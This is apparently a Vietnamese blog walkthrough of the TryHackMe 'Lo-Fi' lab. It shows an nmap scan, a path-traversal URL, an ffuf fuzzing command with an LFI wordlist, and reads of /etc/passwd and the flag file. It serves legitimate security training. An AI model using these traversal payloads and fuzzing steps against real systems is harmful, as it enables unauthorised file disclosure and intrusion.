Bài viết

TryHackMe - Lo-Fi

Hướng dẫn cơ bản về cách khai thác các lỗ hổng 🗂️ Local File Inclusion và Path Traversal trong thử thách này

TryHackMe - Lo-Fi

Giới thiệu

Đây sẽ là một thử thách đơn giản để luyện tập khai thác lỗ hổng LFI / Path Traversal.

Tryhackme Room Link

Nmap

Hãy bắt đầu bằng việc quét với Nmap.

1
2
3
4
5
6
7
8
9
10
11
nmap -T4 -n -sC -sV -Pn -p- 10.10.72.5
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 40:ed:13:25:88:c7:cc:8b:86:8f:8b:0d:74:04:07:c7 (RSA)
|   256 c4:90:3d:98:c3:1d:87:c2:ca:15:f7:6f:10:f1:19:5f (ECDSA)
|_  256 18:ff:a7:d6:2d:bc:5c:ae:e2:bc:54:3f:20:c6:1a:81 (ED25519)
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
|_http-title: Lo-Fi Music
|_http-server-header: Apache/2.2.22 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Cổng 80/tcp đang mở, vì vậy hãy truy cập trang web.

Path Traversal

Hãy bắt đầu với Path Traversal.

1
http://10.10.72.5/?page=/../../../flag.txt

Không gặp may, nhưng chúng ta biết trang web có lỗ hổng.

Hacker Message

Hãy thử kiểm tra tham số này với một wordlist bằng ffuf.

1
ffuf -w /usr/share/wordlists/LFI-Jhaddix.txt -u "http://10.10.72.5/?page=FUZZ" -fl 124

Giải thích:

  • -w /usr/share/wordlists/LFI-Jhaddix.txt → Sử dụng một wordlist chứa các payload LFI phổ biến.
  • -u "http://10.10.72.5/?page=FUZZ" → Thay thế FUZZ trong URL bằng từng từ trong wordlist.
  • -fl 124 → Lọc bỏ các phản hồi có 124 dòng, giúp chúng ta tập trung vào những kết quả khác biệt.

Chúng ta đã nhận được một số kết quả.

ffuf Output

Hãy thử một vài payload đơn giản nhất với tệp /etc/passwd.

Thành công.

Traversal Path

Flag

Bây giờ, hãy thử lại với tệp flag.txt.

Flag


Bài viết này được cấp phép bởi tác giả theo giấy phép CC BY 4.0 .